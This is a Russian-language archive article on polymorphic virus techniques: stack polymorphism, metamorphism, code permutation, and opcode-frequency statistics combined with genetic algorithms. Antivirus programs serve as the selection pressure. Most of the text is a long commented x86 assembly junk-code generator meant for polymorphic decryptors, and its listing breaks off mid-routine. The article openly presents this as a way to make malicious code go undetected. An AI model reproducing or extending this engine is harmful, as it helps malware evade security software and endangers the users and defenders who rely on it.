Полиморфизм. Новые техники

Дата публикации 11 янв 2005

Полиморфизм. Новые техники — Архив WASM.RU

Четыре.
Тяжёлые, как удар
"Кесарево кесарю - богу богово"
А такому,
как я
ткнуться куда?
Где для меня уготовано логово?

В.Маяковский

 

Полиморфизм всегда пользовался огромной популярностью у программистов. Но шло время и полиморфизм стал не столь популярен. Многие стали считать, что это вчерашний день. Я с ними соглашусь пожалуй, но как говорится: "Не все йогурты одинаково полезны". Классический полиморфизм в том виде, каком он был раньше, дальше использоваться не может. Сейчас мы рассмотрим последние техники полиморфизма и перспективы их применения.

1. Стэковый полиморфизм

Первым написал простейший стэковый движок Rajaat, данный движок был очень простым и маленьким. Далее насколько я помню, была парочка вариаций на данную тему. И закончилось всё когда объединились Z0MBiE и Vecna. Их творение получило модное громогласное название - "Kewl Mutation Engine". Данный движок без ложной скромности, можно назвать шедевром стэкового полиморфизма.

Теперь мы рассмотрим, в чём же заключается суть стэкового полиморфизма. Весь код который мы хотим скрыть(зашифровать) разбивается на двойные слова.

И после этого формируется следующий код:

		push	Шифруемый Код
		push	Шифруемый Код
		....	.............
		push	Шифруемый Код
		jmp	esp

Но такой код легко раскалывается даже алгоритмическими методами, без кодоэмуляции. Что делается чтобы этого не происходило? Производится линейная мутация кода, как вы видите инструкции в этом коде влияют только на стэк.

И мы можем отмутировать инструкцию - "push Шифруемый Код", следующим образом:

		mov	eax,234
		mov	edx,Шифруемый Код-234
		add	edx,eax
		xchg	edx,eax
		push	eax

И каждую инструкцию из этого блока мы то же можем сильно преобразовать. Этим мы заставим эмулировать, каждую инструкцию нашего кода. А как вы знаете, есть так называемая глубина эмуляции - это количество инструкций, на котором эмуляция прекращается.

Теперь давайте поговорим об актуальности стэкового полиморфизма и его перспективах. С выходом новых процессоров запрещено исполнение кода в стэке. И это используется как SP2 для Windows XP, так и будет использоваться в Longhorn. Так что актуальность данного вида полиморфизма стремится к нулю.

2. Метаморфизм

Я к данному виду полиморфизма отношу два типа мутаций:

  1. Когда весь код, вместе с движком разбивается на блоки и затем производится перестановка данных блоков и их связь.
  2. Когда весь код вируса представлен в виде псевдо кода и хранится в зашифрованном виде. И на базе этого псевдо кода, генерируется каждый раз новый код.

Данные техники является достаточно сложными и не очень приятными. По следующим причинам:

  • И в первом, и втором случаях достаточно сложно написать универсальный движок. По этой причине каждый раз эту технику необхоимо реализовывать заново.
  • В первом случае получается ограниченное количество мутаций.
  • Во втором случае возможно детектирование по зашифрованной части кода.

3. Пермутация

Пермутация это преобразование уже готового кода. В этом направлении на данный момент наиболее продвинулся Z0MBiE. Но ещё в его старых движках, встречались благодарности некому Lord_ASD. Далее после него, в этой области продвинулись Vecna и SBVC. В чём же заключается пермутация? Базовым алгоритмом пермутирующих движков является дизассемблирование кода с последующей его мутацией и ассемблированием.

Теперь рассмотрим пример алгоритма простейшего пермутирующего движка:

  1. Дизассемблируется по длинам все инструкции нашего кода и отмечатся условные и безусловные переходы.
  2. Инструкции заменяются синонимичными и между ними вставляются мусорные инструкции.
  3. Например:

    ;----[Были инструкции]----------------;
    		...	............
    		mov	eax,12345678
    		push	eax
    		....	............
    

    Далее эти инструкции преобразовались к виду:

    ;----[Стали инструкции]---------------;
    		...	............
    		xor	eax,eax
    		nop
    		add	eax,12345678
    		nop
    		push	eax
    		....	.............
    
  4. Пересчитываются все переходы.

Данный вид полиморфизма является одним из самых перспективных. По следующим причинам:

  • Удобство (не лёгкость) написания движка
  • Высокий уровень мутаций
  • Необходимость эмуляции всех инструкций

Не смотря на то, что данный вид полиморфизма известен уже достаточно давно, он не получил большого распространения, из-за сложности реализации.

4. Статистические методы и Генетические алгоритмы

В данной части рассмотрим наиболее оптимальные модификации классических полиморфных движков.

1) Статистические методы

Вы некогда не задумывались почему, ваши полиморфные движки так быстро детектируются? Вроде и инструкции использовали те же, что и обычные программы, и все виды переходов и подпрограмм. А всё равно детектируются!

Да, инструкции были использованы те же, но в том ли количестве? Антивирусы так же смотрят на статистику встречи опкодов. Вы уже наверное догадались о чём пойдёт речь дальше?

Для того, чтобы определить с какой вероятностью генерировать, ту или иную инструкцию. Мы должны собрать статистические данные по обыкновенным программам. Для этого мы можем либо написать сами программу, либо воспользоваться программой от Z0MBiE. После того, как мы проанализировали на количество различных опкодов, множество программ. Мы должны рассчитать мат. ожидания (средние) встречи различных опкодов. И на основе их, мы построим таблицу вероятностей встречи тех или иных опкодов в обыкновенных программах.

После этого ваши декрипторы будут практически идентичны обыкновенным программам по статиситике опкодов.

2) Генетические алгоритмы

Теория Дарвина утверждает, что все организмы изменяются и совершенствуются в процессе эволюции. Более приспособленные особи к своей среде обитания имеют больше возможностей выжить и принести потомство. Благодаря наследственности (генетической информации) родители передают потомкам, наиболее необходимую для выживания в данной среде информацию. Из-за этого механизма весь вид будет изменяться и в конце концов, его выживаемость значительно увеличиться.

Генетический алгоритм - это реализация эволюционной теории в виде программы. ГА работают с популяцией особей и и расставляя им вероятности по характеристикам её "выживаемости" или "приспособленности". Наиболее приспособленные особи - это те особи которые достаточно "хорошо" решают поставленную задачу. Данные особи скрещиваются друг с другом. Поэтому все хорошие характеристики остаются в популяции, а плохие уходят вместе с их не "приспособленными" носителями.

Генетические Алгоритмы чаще всего используют две функции:

  1. Кроссовер - это скрещивание наиболее выживаемых особей.
  2. Мутация - это изменение случайных характеристик особи.

Теперь перейдём к реализации эволюционных алгоритмов в полиморфных движках. Мы будем применять ГА к нашему полиморфному движку с статистическими вероятностями.

Алгоритм генератора мусора с статистическими вероятностями и ГА:

  1. Генерируется код по статистическим вероятностям
  2. Выбираются случайно и мутируют два стат. признака (1 раз в 10 поколений). Это наша реализация мутации.
  3. Выбираются два определяющих стат. признака и изменяются каждое поколение. Это наш кроссовер.

В качестве отсеивающего признака эволюции будут выступать антивирусные программы.

Если особь активна, считается что она прошла отбор. И она продолжает свой подъём или спуск по лестнице эволюции.

В качестве примера реализации данной техники приводится:

;----[Резать здесь]--------------------------------------------------------;
;                                                                          ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ V.0.4(x) 2004 СЛОН http://slon.wronger.com ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; Использование:        mov	edi,БУФЕР ДЛЯ КОДА                         ;
;			mov	ecx,ДЛИНА КОДА                             ;
;			mov	ebx,НЕ ИСПОЛЬЗУЕМЫЕ РЕГИСТРЫ(_all)         ;
;			call	garbage                                    ;
;--------------------------------------------------------------------------;
; Результат:		сгенерированный код в edi                          ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ВЕРСИЯ 0.3		Генерация инструкций по заданным статистическим    ;
;			характерстикиам(они получены в результате анализа  ;
;			большого количества файлов формата "PE")           ;
;--------------------------------------------------------------------------;
; ВЕРСИЯ 0.2		Добавлены новые инструкции x86, так же добавлены   ;
;			инструкции сопроцессора (x87)                      ;
;--------------------------------------------------------------------------;
; ВЕРСИЯ 0.1		Реализация многих инструкций x86 процессора,       ;
;			случайная комбинация инструкций                    ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;

;----[Главная подпрограмма генератора мусора]------------------------------;

garbage:					; Подпрограмма генерации
						; мусорных инструкций
		push	edx			; Сохраняем в стэке
		push	ecx			; edx, ecx, esi, ebp, ecx,
		push	esi			; eax
		push	ebp			;
		push	ebx			;
		push	eax			;

		call	delta_offset		; 
delta_offset:	pop	ebp			; Получаем дельта смещение
		sub	ebp,offset delta_offset	;

		call	r_init			; Инициалицируем ГСЧ
__st__:
		test	ecx,ecx			; Если все инструкции
		jz	landing			; сгенерированы, то на выход

		mov	eax,21			; Выбираем случайным образом
		call	brandom32		; вариант генерации мусорных
						; инструкций
		shl	eax,1			; Умножаем eax на 2

		call	__freq__		; Выбираем блок инструкций
						; по статистической 
						; вероятности
		test	eax,eax			; Если не выбрали, то
		jz	__st__			; пытаемся снова

		lea	esi,[ebp+mega_table]	; В esi смещение на таблицу
						; относительных смещений
		add	esi,eax			; к esi добавляем eax
		xor	eax,eax			; Обнуляем eax
		lodsw				; В ax загружаем 
						; относительное смещение от
						; метки __st__
		lea	esi,[ebp+__st__]	; В esi кладём смещение 
						; метки __st__
		add	eax,esi			; Добавляем смещение 
						; подпрограммы
		call	eax			; Вызываем её
		jmp	__st__			; Переход на __st__

;----[Завершение работы генератора мусора]---------------------------------;

landing:
		inc	[ebp+__generation]	; Увеличиваем счётчик
						; поколений

		cmp	[ebp+__generation],10	; Если это не 10 поколение,
		jne	__ne__			; то идём на выход

		mov	[ebp+__generation],0	; Сбрасываем счётчик
						; поколений 

		call	gen_mutation		; Вызываем изменение 1 случ.
						; мат. ожидания

		mov	[ebp+__cross1],ecx	; Выбираем 1 опр. фактор
						; эволюции

		call	gen_mutation		; Вызываем изменение 2 случ.
						; мат. ожидания

		mov	[ebp+__cross2],ecx	; Выбираем 2 опр. фактор
						; эволюции
__ne__:
		mov	ecx,[ebp+__cross1]	; Производим селекцию 1 опр.
		call	gen_crossover		; фактора эволюции

		mov	ecx,[ebp+__cross1]	; Производим селекцию 2 опр.
		call	gen_crossover		; фактора эволюции

		pop	eax			;
		pop	ebx			;
		pop	ebp			;
		pop	esi			; Восстанавливаем регистры
		pop	ecx			;
		pop	edx			;

		ret				; Возврат из подпрограммы
;----[Подпрограмма выбора стат. вероятностей]------------------------------;

__freq__:
		push	eax			; Сохраняем eax в стэке

		lea	esi,[ebp+__freq_table]	; Загружаем указатель на
		add	esi,eax			; таблицу с мат. ожиданиями
		lodsw				; Загружаем в ax мат.
						; ожидание
		mov	edx,eax			; Переносим её в edx

		mov	eax,1001		; Генеририуем случайное
		call	brandom32		; число в интервале 0..1000

		cmp	edx,eax			; Проверяем попали ли мы?
		jge	__exit__		; Если попали, то на выход
		mov	4 ptr [esp],0		; Нет обнулим верхушку
						; стэка
__exit__:
		pop	eax			; Восстанавливаем eax из
						; стэка
		ret				; Возврат из подпрограммы

;----[Подпрограмма изменения мат. ожидания]--------------------------------;

gen_mutation:
		mov	eax,21			; Выбираем случайным образом
		call	brandom32		; вариант генерации мусорных
						; инструкций
		shl	eax,1			; Умножаем eax на 2

		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
						; мат. ожиданий опкодов
		add	esi,eax			; к esi добавляем eax
		xor	eax,eax			; Обнуляем eax
		lodsw				; В ax загружаем мат.
						; ожидание

		call	brandom32		; Генерируем СЧ в диапазоне
		sub	esi,2			; 0..мат.ожидание-1 и
						; уменьшаем esi на 2
		sub	2 ptr [esi],ax		; Вычитаем из мат. ожидания
						; Наше случаное число
		push	eax			; Сохраняем в стэке СЧ

		mov	eax,21			; Выбираем случайным образом
		call	brandom32		; вариант генерации мусорных
						; инструкций
		shl	eax,1			; Умножаем eax на 2

		mov	ecx,eax			;

		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
						; мат. ожиданий опкодов
		add	esi,eax			; к esi добавляем eax

		pop	eax			; Восстанавливаем из стэка
						; СЧ
		add	2 ptr [esi],ax		; И добавляем его к другому
						; Мат. ожиданию
		ret				; Возврат из подпрограммы

;----[Подпрограмма селекции опр. фактора эволюции]-------------------------;

gen_crossover:

		mov	eax,21			; Выбираем случайным образом
		call	brandom32		; вариант генерации мусорных
						; инструкций
		shl	eax,1			; Умножаем eax на 2

		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
						; мат. ожиданий опкодов
		add	esi,eax			; к esi добавляем eax
		xor	eax,eax			; Обнуляем eax
		lodsw				; В ax загружаем мат.
						; ожидание

		call	brandom32		; Генерируем СЧ в диапазоне
		sub	esi,2			; 0..мат.ожидание-1 и
						; уменьшаем esi на 2
		sub	2 ptr [esi],ax		; Вычитаем из мат. ожидания
						; Наше случаное число
		push	eax			; Сохраняем в стэке СЧ

		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
						; мат. ожиданий опкодов
		add	esi,ecx			; к esi добавляем eax

		pop	eax			; Восстанавливаем из стэка
						; СЧ
		add	2 ptr [esi],ax		; И добавляем его к другому
						; Мат. ожиданию
		ret				; Возврат из подпрограммы


;----[Генерация инструкций JXX SHORT - 0x70..0x7f]-------------------------;

__jxx_short:
		mov	eax,50			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..49
		push	eax			; Сохраняем eax в стэке
		add	eax,2			; Добавляем длину перехода
		cmp	eax,ecx			; Проверяем не больше ли
						; длины
						; Всех инструкций
		pop	eax			; Восстанавливаем из стэка
						; eax
		jle	__gen1__		; Если число превышает длину
		ret				; то выходим из подпрограммы
__gen1__:					;
		push	eax			; Кладём eax опять в стэк
		mov	eax,10			; Выбираем случайным образом
		call	brandom32		; число от 0..9
		add	al,70h			; Добавляем 70h
		stosb				; и кладём его в буфер
		pop	eax			; Вынимаем из стэка eax и
		stosb				; кладём в буфер
                mov	edx,eax			; Кладём число в edx
		push	ecx			; Сохраняем ecx в стэке
		mov	ecx,edx			; Генерируем рекурсивно
		call	garbage			; мусор между переходом
		pop	ecx			; Восстанавливаем ecx
						; В итоге у нас получается
						; случайно выбранный,
						; условный переход:
						; .........................
						; 	jae	next
						;	mov	eax,0
						; next:	nop
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		sub	ecx,edx			; И на длину перехода
		ret				; Возврат из подпрограммы

;----[Генерация инструкций NOT/NEG - 0xf7]---------------------------------;

__not_r32:
		cmp	cl,2			; Если длина генерируемой
		jge	__g1__			; инструкции меньше 2, то
		ret				; Возврат из подпрограммы
__g1__:
		mov	al,0f7h			; Помещаем в al - 0f7h
		stosb				; и кладём его в буфер
		mov	dl,0d0h			; Помещаем в dl - 0d0h
		mov	eax,2			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..1
		shl	eax,3			; Умножаем его на 8
		add	dl,al			; Добавляем к dl - al
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,dl			; Добавляем к al - dl
		stosb				; и кладём его в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция NOT/NEG:
						; .........................
						; 	not	eax
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		ret				; Возврат из подпрограммы

;----[Генерация инструкций JXX NEAR - 0x0f 0x80..0x0f 0x89]----------------;

__jxx_near:
		mov	eax,50			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..49
		push	eax			; Сохраняем его в стэке
		add	eax,6			; Добавляем длину перехода
		cmp	eax,ecx			; Проверяем не больше длины
						; Всех инструкций
		pop	eax			; Восстанавливаем eax из
						; стэка
		jle	__gen2__		; Если число превышает длину
		ret				; то выходим из подпрограммы
__gen2__:					;
		push	eax			; Сохраняем в стэке eax
		mov	al,0fh			; Помещаем в al - 0fh
		stosb				; и кладём его в буфер
		mov	eax,10			; Выбираем случайным образом
		call	brandom32		; число от 0..9
						;
		add	al,80h			; Добавляем 80h
		stosb				; и кладём его в буфер
		pop	eax			; Вынимаем из стэка eax
		stosd				; Помещаем его в буфер
                mov	edx,eax			; Кладём в edx - eax
		push	ecx			; Сохраняем ecx в стэке
		mov	ecx,edx			; Генерируем рекурсивно
		call	garbage			; мусор между переходом
		pop	ecx			; Восстанавливаем ecx
						; В итоге у нас получается
						; случайно выбранный,
						; условный, переход:
						; .........................
						; 	je	next
						;	push	0
						; next:	push	64
						; .........................
		sub	ecx,6			; Уменьшаем счётчик на 6
		sub	ecx,edx			; И на длину инструкций
						;
		ret				; Возврат из подпрограммы

;----[Генерация инструкций сопроцессора - 0xdc]----------------------------;

__x87:
		cmp	cl,2			; Если длина генерируемой
		jge	__g2__			; инструкции меньше 2, то
		ret				; Возврат из подпрограммы
__g2__:
		mov	al,0dch			; Кладём в al - 0dch
		stosb				; И помещаем al в буфер
		mov	eax,02fh		; Генерируем случайное число
		call	brandom32		; в интервале 0..2eh
		add	al,0c0h			; Добавляем к числу 0c0h
		stosb				; и помещаем сумму в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция сопроцессора:
						; .........................
						; 	fadd	st(0),st
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		ret				; Возврат из подпрограммы

;----[Генерация инструкций сравнения - 0x3a]-------------------------------;

__cmp_r32_r32:
		cmp	cl,2			; Если длина генерируемой
		jge	__g3__			; инструкции меньше 2, то
		ret				; Возврат из подпрограммы
__g3__:
		mov	dl,3ah			; Помещаем в dl - 03ah
		mov	eax,3			; Получаем случайное число
		call	brandom32		; в диапазоне 0..2
		add	al,dl			; Добавляем к al - dl
		stosb				; Затем помещаем al в буфер
		call	rnd_reg			; Получаем случайный регистр
		shl	eax,3			; Умножаем eax на 8
		add	al,0c0h			; Добавляем к al - 0c0h
		mov	dl,al			; помещаем в dl - al
		call	rnd_reg			; Получаем случайный регистр
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция CMP:
						; .........................
						; 	cmp	eax,esp
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		ret				; Возврат из подпрограммы

;----[Генерация инструкций XOR - 0x33]-------------------------------------;

__xor_r32_r32:
		cmp	cl,2			; Если длина генерируемой
		jge	__g4__			; инструкции меньше 2, то
		ret				; Возврат из подпрограммы
__g4__:
		mov	al,33h			; Помещаем в al - 33h
		stosb				; И затем кладём это в буфер
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		shl	eax,3			; Умножаем eax на 8
		add	al,0c0h			; Добавляем к al - 0c0h
		mov	dl,al			; помещаем в dl - al
		call	rnd_reg			; Получаем случайный регистр
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция XOR:
						; .........................
						; 	xor	eax,esp
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		ret				; Возврат из подпрограммы

;----[Генерация инструкций TEST - 0x84]------------------------------------;

__test_r32_r32:
		cmp	cl,2			; Если длина генерируемой
		jge	__g5__			; инструкции меньше 2, то
		ret				; Возврат из подпрограммы
__g5__:
		mov	dl,084h			; Помещаем в dl - 084h
		mov	eax,2			; Получаем случайное число
		call	brandom32		; в диапазоне 0..1
		add	al,dl			; Добавляем к al - dl
		stosb				; И затем кладём это в буфер
		call	rnd_reg			; Вызываем подпрограмму 
						; получения случайного 
						; регистра
		add	al,0c0h			; Добавляем к al - 0c0h
		mov	dl,al			; помещаем в dl - al
		call	rnd_reg			; Получаем случайный регистр
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция TEST:
						; .........................
						; 	test	eax,esp
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		ret				; Возврат из подпрограммы

;----[Генерация инструкций MOV, XCHG - 0x87,0x89,0x8b]---------------------;

__mov_r32_r32:
		cmp	cl,2			; Если длина генерируемой
		jge	__g6__			; инструкции меньше 2, то
		ret				; Возврат из подпрограммы
__g6__:
		mov	eax,3			; Генерируем СЧ в 
		call	brandom32		; диапазоне 0..2

		test	eax,eax			; Проверяем, как опкод мы
		jnz	__ng1__			; будем генерировать
						; Если не 0, то 0x8b

		mov	eax,10			; Генерируем СЧ в 
		call	brandom32		; диапазоне 0..9
 
		test	eax,eax			; Проверяем какой опкод мы
		jnz	__ng2__			; будем генерировать
						; Если не 0, то 0x89

		mov	al,87h			; Будем генерировать 0x87
		jmp	__ag1__			; Идём дальше
__ng2__:
		mov	al,89h			; Будем генерировать 0x89
		jmp	__ag1__			; Идём дальше
__ng1__:
		mov	al,8bh			; Помещаем в al - 8bh
__ag1__:
		stosb				; Потом помещаем al в буфер
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		shl	eax,3			; Умножаем eax на 8
		add	al,0c0h			; Добавляем к al - 0c0h
		mov	dl,al			; помещаем в dl - al
		call	free_reg		; Получаем случайный регистр
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция MOV, XCHG:
						; .........................
						; 	mov	eax,esp
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		ret				; Возврат из подпрограммы

;----[Генерация инструкций PUSH/POP - 0x50..0x57;0x58..0x5f]---------------;

__push_r32:
		mov	eax,10			; Генерируем СЧ в
		call	brandom32		; диапазоне 0..9
		mov	edx,eax			; Кладём его в edx
		add	al,2			; Доавляем к al - 2

		cmp	eax,ecx			; Если длина генерируемой
		jle	__g7__			; инструкции меньше 2
						; и длины мусора ,то
		ret				; Возврат из подпрограммы
__g7__:
		call	free_reg		; Получаем случайный регистр
		add	al,50h			; Добавляем к al - 50h
		stosb				; Кладём al в буфер

		push	ecx			; Сораняем ecx в стэке
		mov	ecx,edx			; Генерируем серию
		call	garbage			; мусорных инструкций
		pop	ecx			; Вынимаем ecx из стэка

		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,58h			; Добавляем к al - 58h
		stosb				; И опять кладём al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции PUSH/POP:
						; .........................
						; 	push	eax
						;	mov	eax,2
						; 	pop	ecx
						; .........................
		sub	ecx,edx			; Уменьшаем счётчик на edx
		sub	ecx,2			; Уменьшаем счётчик на - 2
		ret				; Возврат из подпрограммы

;----[Генерация инструкций MOV - 0x0b8]------------------------------------;

__mov_r32_imm32:
		cmp	cl,5			; Если длина генерируемой
		jge	__g8__			; инструкции меньше 5, то
		ret				; Возврат из подпрограммы
__g8__:						; 
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,0b8h			; Добавляем к al - 0b8h
		stosb				; И кладём al в буфер
		xor	eax,eax			; Обнуляем eax
		dec	eax			; Теперь eax = 0ffffffffh
		call	brandom32		; Генерируем случайное
		stosd				; число
						; В итоге у нас получается
						; случайно выбранная
						; инструкции MOV:
						; .........................
						; 	mov   eax,12345678
						; .........................
		sub	ecx,5			; Уменьшаем счётчик на 5
		ret				; Возврат из подпрограммы

;----[Генерация инструкций JMP SHORT - 0xeb]-------------------------------;

__jmp_short:
		cmp	cl,2			; Если длина генерируемой 
		jg	__g9__			; инструкции меньше 2, то
		ret				; Воврат из подпрограммы
__g9__:
		mov	eax,50			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..49
		push	eax			; Сохраняем его в стэке
		add	eax,2			; Добавляем длину перехода
		cmp	eax,ecx			; Проверяем не больше длины
		pop	eax			; Восстанавливаем из стэка
		jle	__gen3__		; Если число превышает длину
		ret				; то выходим из подпрограммы
__gen3__:					;
		push	eax			; Сохраняем в стэке eax
		mov	al,0ebh			; Кладём в al - 0ebh
		stosb				; И кладём al в буфер
		pop	eax			; Восстанавливаем из стэка
		stosb				; Помещаем его в буфер
                mov	edx,eax			; Кладём в edx - eax
		push	ecx			; Сохраняем ecx в стэке
		mov	ecx,edx			; Генерируем рекурсивно
		call	garbage			; мусор между переходом
		pop	ecx			; Восстанавливаем ecx
						; В итоге у нас получается
						; случайно выбранная
						; инструкции JMP SHORT:
						; .........................
						; 	jmp	next
						;	mov	ax,22
						; next:	nop
						; .........................
		sub	ecx,2			; Уменьшаем счётчик на 2
		sub	ecx,edx			; И на длину инструкций
						;
		ret				; Возврат из подпрограммы

;----[Генерация инструкций ADD - 0x81]-------------------------------------;

__add_r32_imm32:
		cmp	cl,6			; Если длина генерируемой
		jge	g10__			; инструкции меньше 6, то
		ret				; Возврат из подпрограммы
g10__:
		mov	al,81h			; Кладём в al - 81h
		stosb				; И помещаем al в буфер
		mov	eax,4			; Получаем случайное число
		call	brandom32		; в диапазоне от 0..9
		add	al,0ch			; Добавляем к нему - 0ch
		shl	al,4			; Умножаем al на 16
		mov	dl,al			; Кладём в dl - al
		mov	eax,2			; Получаем случайное число
		call	brandom32		; в диапазоне от 0..1
		shl	al,3			; Умножаем al на 8
		add	dl,al			; Добавляем к dl - al
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,dl			; Добавляем к al - dl
		stosb				; И кладём al в буфер
		xor	eax,eax			; Обнуляем eax
		dec	eax			; Теперь eax = 0ffffffffh
		call	brandom32		; Генерируем случайное
		stosd				; число и кладём его в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции ADD:
						; .........................
						; 	add   eax,12345678
						; .........................
		sub	ecx,6			; Уменьшаем счётчик на 6
		ret				; Возврат из подпрограммы

;----[Генерация инструкций LEA - 0x8d]-------------------------------------;

__lea_r32_imm32:
		cmp	cl,6			; Если длина генерируемой
		jge	__g11__			; инструкции меньше 6, то
		ret				; Возврат из подпрограммы
__g11__:
		mov	al,8dh			; Кладём в al - 8dh
		stosb				; И помещаем al в буфер
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		shl	eax,3			; Умножаем eax на - 8
		add	al,5			; Добавляем к al - 5
		stosb				; И кладём al в буфер
		xor	eax,eax			; Обнуляем eax
		dec	eax			; Теперь eax = 0ffffffffh
		call	brandom32		; Генерируем случайное число
		stosd				; И кладём его в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции LEA:
						; .........................
						; 	lea  eax,[12345678]
						; .........................
		sub	ecx,6			; Уменьшаем счётчик на 6
		ret				; Возврат из подпрограммы

;----[Генерация инструкций CALL NEAR - 0xe8]-------------------------------;

__call_near:
		mov	eax,50			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..49
		mov	edx,eax			; И кладём его в edx

		mov	eax,50			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..49
		push	eax			; Сохраняем его в стэке
		add	eax,11			; Добавляем длину перехода
		add	eax,edx			; Добавляем к eax - edx
		cmp	eax,ecx			; Проверяем не больше длины
		pop	eax			; Восстанавливаем из стэка
		jle	__gen4__		; Если число превышает
						; длину, то
		ret				; Возврат из подпрограммы
__gen4__:                                              
		push	edx			; Сохраняем в стэке edx
		push	eax			; Сохраняем в стэке eax
		mov	al,0e8h			; Кладём в al - 0e8h
		stosb				; И помещаем al в буфер
		mov	eax,[esp]		; Восстанавливаем eax
		inc	eax			; Увеличиваем eax на - 1
		stosd				; Кладём eax в буфер
		xor	eax,eax			; Обнуляем eax
		dec	eax			; Теперь в eax - 0ffffffffh
		call	brandom32		; Генерируем СЧ и
		stosb				; Кладём его в буфер
		pop	edx			; Вынимаем из стэка в edx
		push	ecx			; Сохраняем ecx в стэке
		mov	ecx,edx			; Генерируем рекурсивно
		call	garbage			; мусор между переходом
		pop	ecx			; Восстанавливаем ecx

		mov	al,55h			; 
		stosb				; Кладём в буфер 055h
		mov	ax,0ec8bh		; 
		stosw				; Кладём в буфер 0ec8bh

		push	edx			; Кладём edx в стэк

		mov	edx,[esp+4]		; Вынимаем из стэка в edx
		push	ecx			; Сохраняем ecx в стэке
		mov	ecx,edx			; Генерируем рекурсивно
		call	garbage			; мусор между переходом
		pop	ecx			; Восстанавливаем ecx

		mov	al,5dh			; Кладём в буфер 05dh
		stosb				; 

		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,58h			; Добавляем к al - 58
		stosb				; И опять кладём al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция CALL NEAR:
						; .........................
						; 	mov   eax,12345678h
						; 	call  next
						; 	add   edx,34567h
						; next:
						; 	push   ebp
						;	mov   ebp,esp
						; 	xor   eax,edx
						;	pop   ebp
						; 	pop   edx
						; ..........................
		sub	ecx,11			; Уменьшаем счётчик на 11
		pop	edx			; Вынимаем из стэка в edx
		sub	ecx,edx			; Уменьшаем на длину
						; инструкций
		pop	edx			; Вынимаем из стэка в edx
		sub	ecx,edx			; Уменьшаем на длину
						; инструкций
		ret				; Возврат из подпрограммы

;----[Генерация инструкций SHL - 0xc1]-------------------------------------;

__shl_r32_imm8:
		cmp	cl,3			; Если длина генерируемой
		jge	__g12__			; инструкции меньше 3, то
		ret				; Возврат из подпрограммы
__g12__:
		mov	al,0c1h			; Кладём в al - 0c1h
		stosb				; И помещаем al в буфер
		mov	eax,6			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..5
		shl	eax,3			; Умножаем его на 8
		add	al,0c0h			; Добавляем к нему - 0c0h
		mov	dl,al			; Помещаем в dl - al
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
		mov	eax,256			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..255
		stosb				; И кладём его в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции SHL,ROL, ...:
						; .........................
						; 	shl	ebp,04
						; .........................
		sub	ecx,3			; Уменьшаем счётчик на 3
		ret				; Возврат из подпрограммы

;----[Генерация иструкций XADD - 0x0f 0x0a3 ...]---------------------------;

__xadd_r32_r32:
		cmp	cl,3			; Если длина генерируемой
		jge	__g13__			; инструкции меньше 6, то
		ret				; Возврат из подпрограммы
__g13__:
		mov	al,0fh			; Кладём в al - 0fh
		stosb				; И помещаем al в буфер
		lea	esi,[ebp+__3_byte_opcode]; Кладём в esi указатель на
						; таблицу частей 3-х байтных
						; инструкций
		mov	eax,14			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..13
		add	esi,eax			; Прибавляем к esi - eax 
		movsb				; Перемещаем байт в буфер
		mov	dl,0c0h			; Кладём в dl - 0с0h
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
